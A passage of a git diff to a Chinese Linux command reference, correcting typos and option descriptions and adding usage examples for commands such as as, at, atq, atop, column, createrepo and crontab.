以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令
```shell
---plugin - load the specified plugin
+命令:
+ d - 从归档文件中删除文件
+ m[ab] - 在归档文件中移动文件
+ p - 打印在归档文件中找到的文件
+ q[f] - 将文件快速追加到归档文件中
+ r[ab][f][u] - 替换归档文件中已有的文件或加入新文件
+ s - 作为 ranlib 工作
+ t[O][v] - display contents of the archive
+ x[o] - 从归档文件中分解文件
+特定命令修饰符:
+ [a] - 将文件置于 [成员名] 之后
+ [b] - 将文件置于 [成员名] 之前 (于 [i] 相同)
+ [D] - 将 0 用于时间戳和 uid/gid(默认)
+ [D] - 使用实际时间戳和 uid/gid
+ [N] - 使用名称的实例 [数量]
+ [f] - 截去插入的文件名称
+ [P] - 在匹配时使用完整的路径名
+ [o] - 保留原来的日期
+ [O] - display offsets of files in the archive
+ [u] - 只替换比当前归档内容更新的文件
+通用修饰符:
+ [c] - 不在必须创建库的时候给出警告
+ [s] - 创建归档索引 (cf. ranlib)
+ [l ] - specify the dependencies of this library
+ [S] - 不要创建符号表
+ [T] - deprecated, use --thin instead
+ [v] - 输出较多信息
+ [V] - 显示版本号
+ @ - 从 读取选项
+ --target=BFDNAME - 指定目标对象格式为 BFDNAME
+ --output=DIRNAME - specify the output directory for extraction operations
+ --record-libdeps= - specify the dependencies of this library
+ --thin - make a thin archive
+可选项:
+ --plugin - 加载指定的插件程序
+仿真选项:
+ 没有仿真特有的选项
```
-ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex
-
### 实例
打包文件
diff --git a/command/arping.md b/command/arping.md
index 7e825c79c3c..918942df3bf 100644
--- a/command/arping.md
+++ b/command/arping.md
@@ -21,7 +21,7 @@ arping(选项)(参数)
-f:表示在收到第一个响应报文后就退出;
-w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出;
-c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止;
--s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出;
+-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratuitous ARP)则设置为目标地址,否则从路由表得出;
-I interface:设置ping使用的网络接口。
```
diff --git a/command/as.md b/command/as.md
index 622f791b0c3..12578067995 100644
--- a/command/as.md
+++ b/command/as.md
@@ -5,15 +5,15 @@ as
## 补充说明
-**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。
+**as命令** 是GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。
-### 语法
+### 语法
```shell
-as(选项)(参数)
+as [选项] [参数]
```
-### 选项
+### 选项
```shell
-ac:忽略失败条件;
@@ -33,8 +33,44 @@ as(选项)(参数)
--statistics:打印汇编所用的最大空间和总时间。
```
-### 参数
+### 参数
汇编文件:指定要汇编的源文件。
+### 示例
+编译一个汇编文件并生成目标文件
+
+```shell
+as -o output.o source.s
+```
+
+忽略调试指令并生成目标文件
+
+```shell
+as -ad -o output.o source.s
+```
+
+生成包含调试信息的目标文件
+
+```shell
+as -g -o output.o source.s
+```
+
+包括宏扩展并生成目标文件
+
+```shell
+as -am -o output.o source.s
+```
+
+打印汇编所用的最大空间和总时间
+
+```shell
+as --statistics -o output.o source.s
+```
+
+跳过空白和注释预处理并生成目标文件
+
+```shell
+as -f -o output.o source.s
+```
\ No newline at end of file
diff --git a/command/at.md b/command/at.md
index 5b3ca031569..352063efe3a 100644
--- a/command/at.md
+++ b/command/at.md
@@ -5,17 +5,17 @@ at
## 补充说明
-**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。
+**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。
-上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。
+上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。
-### 语法
+### 语法
```shell
at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...]
```
-### 选项
+### 选项
```shell
-f:指定包含具体指令的任务文件;
@@ -25,13 +25,13 @@ at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...]
-m:任务执行完成后向用户发送E-mail。
```
-### 参数
+### 参数
日期时间:指定任务执行的日期时间。
-### 实例
+### 示例
-三天后的下午 5 点锺执行`/bin/ls`:
+三天后的下午 5 点钟执行`/bin/ls`:
```shell
[root@localhost ~]# at 5pm+3 days
@@ -60,10 +60,6 @@ job 8 at 2013-01-06 17:20
删除已经设置的任务:
```shell
-[root@localhost ~]# atq
-8 2013-01-06 17:20 a root
-7 2013-01-08 17:00 a root
-
[root@localhost ~]# atrm 7
[root@localhost ~]# atq
8 2013-01-06 17:20 a root
@@ -80,5 +76,28 @@ umask 22此处省略n个字符
date >/root/2013.log
```
+使用任务文件执行任务:
+
+```shell
+[root@localhost ~]# echo "/bin/ls" > mytask.txt
+[root@localhost ~]# at -f mytask.txt 5pm+3 days
+job 9 at 2013-01-08 17:00
+```
+
+指定任务队列执行任务:
+```shell
+[root@localhost ~]# at -q b 5pm+3 days
+at> /bin/ls
+at>
+job 10 at 2013-01-08 17:00
+```
+任务执行完成后发送E-mail通知:
+
+```shell
+[root@localhost ~]# at -m 5pm+3 days
+at> /bin/ls
+at>
+job 11 at 2013-01-08 17:00
+```
\ No newline at end of file
diff --git a/command/atop.md b/command/atop.md
index 22f3ebf1d26..ca04cc49b93 100644
--- a/command/atop.md
+++ b/command/atop.md
@@ -5,27 +5,32 @@ atop
## 补充说明
-[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。
+**atop命令** 是一款开源的系统监控工具,它以一定的频率记录系统的运行状态,采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中。服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。
-## 语法
+## 语法
```shell
-atop(选项)(参数)
+atop [选项] [参数]
```
-## 说明
+## 说明
-**ATOP列**:该列显示了主机名、信息采样日期和时间点
+### ATOP列
-**PRC列**:该列显示进程整体运行情况
+该列显示了主机名、信息采样日期和时间点。
+
+### PRC列
+
+该列显示进程整体运行情况:
- sys、usr字段分别指示进程在内核态和用户态的运行时间
-- #proc字段指示进程总数
-- #zombie字段指示僵死进程的数量
-- #exit字段指示atop采样周期期间退出的进程数量
+- `#proc` 字段指示进程总数
+- `#zombie` 字段指示僵尸进程的数量
+- `#exit` 字段指示atop采样周期期间退出的进程数量
+### CPU列
-**CPU列**:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲)
+该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况:
- sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例
- irq字段指示CPU被用于处理中断的时间比例
@@ -34,15 +39,21 @@ atop(选项)(参数)
CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。
-cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%
+### cpu列
+
+该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%。
-**CPL列**:该列显示CPU负载情况
+### CPL列
+
+该列显示CPU负载情况:
- avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量
- csw字段指示上下文交换次数
- intr字段指示中断发生次数
-**MEM列**:该列指示内存的使用情况
+### MEM列
+
+该列指示内存的使用情况:
- tot字段指示物理内存总量
- free字段指示空闲内存的大小
@@ -50,44 +61,49 @@ cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU
- buff字段指示用于文件缓存的内存大小
- slab字段指示系统内核占用的内存大小
-**SWP列**:该列指示交换空间的使用情况
+### SWP列
+
+该列指示交换空间的使用情况:
- tot字段指示交换区总量
- free字段指示空闲交换空间大小
-**PAG列**:该列指示虚拟内存分页情况
+### PAG列
+
+该列指示虚拟内存分页情况:
+
+- swin、swout字段:换入和换出内存页数
-swin、swout字段:换入和换出内存页数
+### DSK列
-**DSK列**:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息
+该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息:
- sda字段:磁盘设备标识
- busy字段:磁盘忙时比例
- read、write字段:读、写请求数量
-**NET列**:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息
+### NET列
-- XXXi 字段指示各层或活动网口收包数目
-- XXXo 字段指示各层或活动网口发包数目
+多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息:
+- XXXi字段指示各层或活动网口收包数目
+- XXXo字段指示各层或活动网口发包数目
## atop日志
-每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢?
-
-对于atop日志文件的保存方式,我们可以这样:
+每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用`atop -r XXX`命令对日志文件进行查看。日志文件的保存方式如下:
- 每天保存一个atop日志文件,该日志文件记录当天信息
-- 日志文件以"atop_YYYYMMDD"的方式命名
+- 日志文件以`atop_YYYYMMDD`的方式命名
- 设定日志失效期限,自动删除一段时间前的日志文件
-其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):
+atop开发者提供了以上日志保存方式,相应的`atop.daily`脚本可以在源码目录下找到。在`atop.daily`脚本中,我们可以通过修改`INTERVAL`变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天):
```shell
(sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )&
```
-最后,我们修改cron文件,每天凌晨执行atop.daily脚本:
+最后,我们修改cron文件,每天凌晨执行`atop.daily`脚本:
```shell
0 0 * * * root /etc/cron.daily/atop.daily
@@ -96,4 +112,3 @@ swin、swout字段:换入和换出内存页数
## 相关资料
- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf)
-
diff --git a/command/atq.md b/command/atq.md
index ae1ad20ddd5..5fd86e76812 100644
--- a/command/atq.md
+++ b/command/atq.md
@@ -7,30 +7,56 @@ atq
**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。
-### 语法
+### 语法
```shell
atq [-V] [-q 队列] [-v]
```
-### 选项
+### 选项
```shell
-V:显示版本号;
-q:查询指定队列的任务。
```
-### 实例
+### 示例
+
+创建一个在10分钟后执行的任务,并列出当前用户的任务列表:
```shell
-at now + 10 minutes
+[root@localhost ~]# at now + 10 minutes
at> echo 1111
-at>
+at>
job 3 at Fri Apr 26 12:56:00 2013
+```
-atq
+使用`atq`命令查看当前用户的任务列表:
+
+```shell
+[root@localhost ~]# atq
3 Fri Apr 26 12:56:00 2013 a root
```
+查询指定队列的任务:
+```shell
+[root@localhost ~]# at -q a now + 10 minutes
+at> echo "Task in queue a"
+at>
+job 4 at Fri Apr 26 13:06:00 2013
+```
+使用`atq`命令查看队列`a`中的任务:
+
+```shell
+[root@localhost ~]# atq -q a
+4 Fri Apr 26 13:06:00 2013 a root
+```
+
+显示`atq`命令的版本号:
+
+```shell
+[root@localhost ~]# atq -V
+atq (GNU at) 3.1.20
+```
\ No newline at end of file
diff --git a/command/awk.md b/command/awk.md
index a23eec09e6a..9a540cb3d81 100644
--- a/command/awk.md
+++ b/command/awk.md
@@ -371,7 +371,7 @@ awk 'NR%2==1{next}{print NR,$0;}' text.txt
当记录行号除以2余1,就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始,程序有开始判断`NR%2`值。这个时候记录行号是`:2` ,就会执行下面语句块:`'print NR,$0'`
-分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行:
+跳过以“web”为首的行,再将该行内容分别与下面不以“web”为首的行合并打印,使用一个“:”和一个制表符连接:
```shell
cat text.txt
@@ -386,7 +386,7 @@ web03[192.168.2.102]
mysqld ok
httpd ok
0
-awk '/^web/{T=$0;next;}{print T":"t,$0;}' text.txt
+awk '/^web/{T=$0;next;}{print T":\t"$0;}' text.txt
web01[192.168.2.100]: httpd ok
web01[192.168.2.100]: tomcat ok
web01[192.168.2.100]: sendmail ok
@@ -623,7 +623,7 @@ Array[2]="kai"
```shell
Array["first"]="www"
-Array"[last"]="name"
+Array["last"]="name"
Array["birth"]="1987"
```
@@ -708,7 +708,7 @@ b b1
### 二维、多维数组使用
-awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。
+awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(\034)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2\0344。
类似一维数组的成员测试,多维数组可以使用`if ( (i,j) in array)`这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是,多维数组必须使用`split()`函数来访问单独的下标分量。
diff --git a/command/axel.md b/command/axel.md
index 74915d6e15f..0d38af3af37 100644
--- a/command/axel.md
+++ b/command/axel.md
@@ -9,6 +9,14 @@ axel
### 安装
+#### 源码安装
+
+github地址:https://github.com/axel-download-accelerator/axel
+
+下载相应的 release 版本后,解压进入目录执行`./configure && make && make install`安装即可。
+
+#### 二进制安装
+
CentOS安装Axel:
目前yum源上没有Axel,我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。
@@ -54,6 +62,7 @@ axel [options] url1 [url2] [url...]
--alternate , -a # Alternate progress indicator
--help ,-h # 帮助
--version ,-V # 版本信息
+--insecure,-k # 不验证SSL证书
```
### 实例
diff --git a/command/bunzip2.md b/command/bunzip2.md
index 5e47e239101..af76e5303a0 100644
--- a/command/bunzip2.md
+++ b/command/bunzip2.md
@@ -1,11 +1,11 @@
bunzip2
===
-创一个bz2文件压缩包
+可解压缩.bz2格式的压缩文件。
## 补充说明
-**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现。
+bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**,即软链接,因此解压都可以通过bzip2 -d实现。
### 语法
@@ -37,4 +37,11 @@ bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip
压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。
+解压缩:
+
+
+```bash
+bunzip2 -v /opt/etc.zip.bz2
+```
+
diff --git a/command/bzcat.md b/command/bzcat.md
index 9e9a201ba54..010d23d1f20 100644
--- a/command/bzcat.md
+++ b/command/bzcat.md
@@ -1,11 +1,11 @@
bzcat
===
-解压缩指定的.bz2文件
+不解压,直接查看指定的.bz2文件
## 补充说明
-**bzcat命令** 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件。
+**bzcat命令** 无需解压缩指定的.bz2文件,即可显示解压缩后的文件内容。
### 语法
diff --git a/command/chage.md b/command/chage.md
index 158ec1758e4..ab6eaa67fbd 100644
--- a/command/chage.md
+++ b/command/chage.md
@@ -21,7 +21,7 @@ chage [选项] 用户名
-w:用户密码到期前,提前收到警告信息的天数。
-E:帐号到期的日期。过了这天,此帐号将不可用。
-d:上一次更改的日期。
--i:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。
+-I:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。
-l:例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。
```
diff --git a/command/chown.md b/command/chown.md
index 0896b3ff064..bbb4089ed6c 100644
--- a/command/chown.md
+++ b/command/chown.md
@@ -7,7 +7,7 @@ chown
**chown命令** 改变某个文件或目录的所有者和所属的组,该命令可以向某个用户授权,使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D,用户组可以是组名或组id。文件名可以使由空格分开的文件列表,在文件名中可以包含通配符。
-只有文件主和超级用户才可以便用该命令。
+只有文件主和超级用户才可以使用该命令。
### 语法
@@ -22,7 +22,7 @@ chown(选项)(参数)
-f或--quite或——silent:不显示错误信息;
-h或--no-dereference:只对符号连接的文件作修改,而不更改其他任何相关文件;
-R或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
--v或——version:显示指令执行过程;
+-v或——verbose:显示指令执行过程;
--dereference:效果和“-h”参数相同;
--help:在线帮助;
--reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同;
diff --git a/command/column.md b/command/column.md
new file mode 100644
index 00000000000..c93c184692b
--- /dev/null
+++ b/command/column.md
@@ -0,0 +1,176 @@
+column
+===
+
+按列格式化输出文件
+
+## 概要
+
+```shell
+column [options] [file ...]
+```
+
+## 主要用途
+
+- 将单列数据整理为多列显示,每行宽度可以指定,超出的部分自动换行。
+- 将多列数据进行快速整理,对齐每列的字符。
+
+## 参数
+
+file(可选),当没有指定文件时,默认会从标准输入读取,因此可以配合管道符使用。
+
+## 选项
+
+```shell
+-c, --columns 输出宽度(以字符数表示)
+-t, --table 创建一个表格(每列字符会对齐)
+-s, --separator 指定识别表格的分隔符
+-o, --output-separator 输出表格的列分隔符,默认为两个空格
+-x, --fillrows 在列之前填充行
+-N, --table-columns 添加列名(逗号分隔)
+-J --json 格式化为JSON输出(需要配合-N/--table-columns使用)
+-h, --help 显示此帮助
+-V, --version 输出版本信息
+```
+
+## 返回值
+
+格式化排列后的字符串。
+
+## 示例
+
+- 整理单列数据
+
+```shell
+# 生成 26 个英文字母, 每列一个
+$ for a in {a..z}; do echo $a; done > test
+
+# 每行最大 60 个字符
+$ cat test | column -c 60
+a e i m q u y
+b f j n r v z
+c g k o s w
+d h l p t x
+
+# 在上面的基础上,进一步整理,每列之间宽度默认两个空白符
+$ cat test | column -c 60 | column -t
+a e i m q u y
+b f j n r v z
+c g k o s w
+d h l p t x
+
+# 指定每列之间用 ', ' 拼接
+$ cat test | column -c 60 | column -t -o ', '
+a, e, i, m, q, u, y
+b, f, j, n, r, v, z
+c, g, k, o, s, w
+d, h, l, p, t, x
+```
+
+- 整理多列数据
+
+```shell
+# 现有如下内容较为凌乱的文本文件 test
+$ cat test
+Address[0] Metal3,pin 133.175:159.92
+Address[1] Metal3,pin 112.38:159.92
+Address[2] Metal3,pin 70.775:159.92
+Address[3] Metal3,pin 41.655:159.92
+DataIn[0] Metal3,pin 66.615:159.92
+DataIn[1] Metal3,pin 37.495:159.92
+DataIn[2] Metal3,pin 122.88:159.92
+DataIn[3] Metal3,pin 95.74:159.92
+DataOut[0] Metal3,pin 45.815:159.92
+DataOut[1] Metal3,pin 79.095:159.92
+DataOut[2] Metal3,pin 104.055:159.92
+DataOut[3] Metal3,pin 62.46:159.92
+MemReq Metal3,pin 108.215:159.92
+RdWrBar Metal3,pin 87.415:159.92
+clock Metal3,pin 74.935:159.92
+
+# 列对齐
+$ cat test | column -t
+Address[0] Metal3,pin 133.175:159.92
+Address[1] Metal3,pin 112.38:159.92
+Address[2] Metal3,pin 70.775:159.92
+Address[3] Metal3,pin 41.655:159.92
+DataIn[0] Metal3,pin 66.615:159.92
+DataIn[1] Metal3,pin 37.495:159.92
+DataIn[2] Metal3,pin 122.88:159.92
+DataIn[3] Metal3,pin 95.74:159.92
+DataOut[0] Metal3,pin 45.815:159.92
+DataOut[1] Metal3,pin 79.095:159.92
+DataOut[2] Metal3,pin 104.055:159.92
+DataOut[3] Metal3,pin 62.46:159.92
+MemReq Metal3,pin 108.215:159.92
+RdWrBar Metal3,pin 87.415:159.92
+clock Metal3,pin 74.935:159.92
+
+# 将 ',' 和 ':' 也识别为分隔符
+$ cat test | column -t -s ',: '
+Address[0] Metal3 pin 133.175 159.92
+Address[1] Metal3 pin 112.38 159.92
+Address[2] Metal3 pin 70.775 159.92
+Address[3] Metal3 pin 41.655 159.92
+DataIn[0] Metal3 pin 66.615 159.92
+DataIn[1] Metal3 pin 37.495 159.92
+DataIn[2] Metal3 pin 122.88 159.92
+DataIn[3] Metal3 pin 95.74 159.92
+DataOut[0] Metal3 pin 45.815 159.92
+DataOut[1] Metal3 pin 79.095 159.92
+DataOut[2] Metal3 pin 104.055 159.92
+DataOut[3] Metal3 pin 62.46 159.92
+MemReq Metal3 pin 108.215 159.92
+RdWrBar Metal3 pin 87.415 159.92
+clock Metal3 pin 74.935 159.92
+```
+
+- 添加列名并以JSON格式输出
+
+```shell
+$ column -J -s ":" -N "Username,Password,UID,GID,Gecos,HomeDirectory,Shell" /etc/passwd
+{
+ "table": [
+ {
+ "username": "root",
+ "password": "x",
+ "uid": "0",
+ "gid": "0",
+ "gecos": "root",
+ "homedirectory": "/root",
+ "shell": "/bin/bash"
+ },{
+ "username": "daemon",
+ "password": "x",
+ "uid": "1",
+ "gid": "1",
+ "gecos": "daemon",
+ "homedirectory": "/usr/sbin",
+ "shell": "/usr/sbin/nologin"
+ },{
+ "username": "bin",
+ "password": "x",
+ "uid": "2",
+ "gid": "2",
+ "gecos": "bin",
+ "homedirectory": "/bin",
+ "shell": "/usr/sbin/nologin"
+ },{
+ "username": "sys",
+ "password": "x",
+ "uid": "3",
+ "gid": "3",
+ "gecos": "sys",
+ "homedirectory": "/dev",
+ "shell": "/usr/sbin/nologin"
+ },{
+ "username": "sync",
+ "password": "x",
+ "uid": "4",
+ "gid": "65534",
+ "gecos": "sync",
+ "homedirectory": "/bin",
+ "shell": "/bin/sync"
+ }
+ ]
+}
+```
diff --git a/command/createrepo.md b/command/createrepo.md
new file mode 100644
index 00000000000..979bf0cdccf
--- /dev/null
+++ b/command/createrepo.md
@@ -0,0 +1,147 @@
+createrepo
+===
+
+创建YUM仓库
+
+## 概要
+
+```shell
+createrepo [选项] <目录>
+```
+
+## 描述
+
+`createrepo`是一个程序,它从一组RPM创建一个RPM元数据存储库,即YUM仓库。
+
+## 选项
+
+```shell
+-u --baseurl
+# 指定Base URL的地址
+
+-o --outputdir
+# 指定元数据的输出位置
+
+-x --excludes
+# 指定在形成元数据时需要排除的包
+
+-i --pkglist
+# 指定一个文件,该文件内的包信息将被包含在即将生成的元数据中,格式为每个包信息独占一行,不含通配符、正则,以及范围表达式。
+
+-n --includepkg
+# 通过命令行指定要纳入本地库中的包信息,需要提供URL或本地路径。
+
+-q --quiet
+# 安静模式执行操作,不输出任何信息。
+
+-g --groupfile
+# 指定本地软件仓库的组划分,示例:createrepo -g comps.xml /path/to/rpms
+# 注意:组文件需要和rpm包放置于同一路径下。
+
+-v --verbose
+# 输出详细信息。
+
+-c --cachedir
+# 指定一个目录,用作存放软件仓库中软件包的校验和信息。
+# 当createrepo在未发生明显改变的相同仓库文件上持续多次运行时,指定cachedir会明显提高其性能。
+
+--basedir
+# Basedir为repodata中目录的路径,默认为当前工作目录。
+
+--update
+# 如果元数据已经存在,且软件仓库中只有部分软件发生了改变或增减,
+# 则可用update参数直接对原有元数据进行升级,效率比重新分析rpm包依赖并生成新的元数据要高很多。
+
+--skip-stat
+# 跳过--update上的stat()调用,假设如果文件名相同,则文件仍然相同(仅在您相当信任或容易受骗时使用此方法)。
+
+--update-md-path
+# 从这个路径使用现有的repodata来升级。
+
+-C --checkts
+# 不要生成回购元数据,如果它们的时间戳比rpm更新。如果您碰巧开启了该选项,则此选项将再次大幅减少处理时间一个未修改的回购,但它(目前)与——split选项互斥。注意:当包从repo中删除时,这个命令不会注意到。使用——update来处理这个。
+
+--split
+# 在拆分媒体模式下运行。与其传递单个目录,不如获取一组对应于媒体集中不同卷的目录。
+
+-p --pretty
+# 以整洁的格式输出xml文件。
+
+--version
+# 输出版本。
+
+-h --help
+# 显示帮助菜单。
+
+-d --database
+# 该选项指定使用SQLite来存储生成的元数据,默认项。
+
+--no-database
+# 不要在存储库中生成sqlite数据库。
+
+-S --skip-symlinks
+# 忽略包的符号链接
+
+-s --checksum
+# 选择repmed .xml中使用的校验和类型以及元数据中的包。默认值现在是“sha256”(如果python有hashlib)。旧的默认值是“sha”,它实际上是“sha1”,但是显式使用“sha1”在旧版本(3.0.x)的yum上不起作用,您需要指定“sha”。
+
+--profile
+# 输出基于时间的分析信息。
+
+--changelog-limit CHANGELOG_LIMIT
+# 只将每个rpm中的最后N个变更日志条目导入元数据
+
+--unique-md-filenames
+# 在元数据文件名中包含文件的校验和,有助于HTTP缓存(默认)
+
+--simple-md-filenames
+# 不要在元数据文件名中包含文件的校验和。
+
+--retain-old-md
+# 保留旧repodata的最新(按时间戳)N个副本(这样使用旧repodata .xml文件的客户端仍然可以访问它)。默认为0。
+
+--distro
+指定发行版标签。可以多次指定。可选语法,指定cpeid(http://cpe.mitre.org/)——distro=cpeid,distrotag
+
+--content
+# 指定关于存储库内容的关键字/标记。可以多次指定。
+
+--repo
+# 指定关于存储库本身的关键字/标签。可以多次指定。
+
+--revision
+# 存储库修订的任意字符串。
+
+--deltas
+# 告诉createrepo生成增量数据和增量元数据
+
+--oldpackagedirs PATH
+# 寻找更老的PKGS来对抗的路径。可以指定多次吗
+
+--num-deltas int
+# 要进行增量处理的旧版本的数量。默认为1
+
+--read-pkgs-list READ_PKGS_LIST
+# 使用——update将路径输出到PKGS实际读起来很有用
+
+--max-delta-rpm-size MAX_DELTA_RPM_SIZE
+# 要运行deltarpm的RPM的最大大小(以字节为单位)
+
+--workers WORKERS
+# 为读取RPMS而生成的工作线程数
+
+--compress-type
+# 指定要使用的压缩方法:compat(默认),xz(可能不可用),gz, bz2。
+
+```
+
+## 返回值
+
+返回状态为成功除非给出了非法选项或非法参数。
+
+## 例子
+
+```shell
+# 生成带有groups文件的存储库。注意groups文件应该和rpm包在同一个目录下(即/path/to/rpms/comps.xml)。
+createrepo -g comps.xml /path/to/rpms
+```
diff --git a/command/crontab.md b/command/crontab.md
index 962e443a538..f691ff50ccd 100644
--- a/command/crontab.md
+++ b/command/crontab.md
@@ -176,13 +176,13 @@ chkconfig –level 35 crond on
每一小时重启smb
```shell
-* */1 * * * /etc/init.d/smb restart
+0 */1 * * * /etc/init.d/smb restart
```
晚上11点到早上7点之间,每隔一小时重启smb
```shell
-* 23-7/1 * * * /etc/init.d/smb restart
+0 23-7/1 * * * /etc/init.d/smb restart
```
每月的4号与每周一到周三的11点重启smb
diff --git a/command/curl.md b/command/curl.md
index b263ae5f548..2215d6af058 100644
--- a/command/curl.md
+++ b/command/curl.md
@@ -5,7 +5,7 @@ curl
## 补充说明
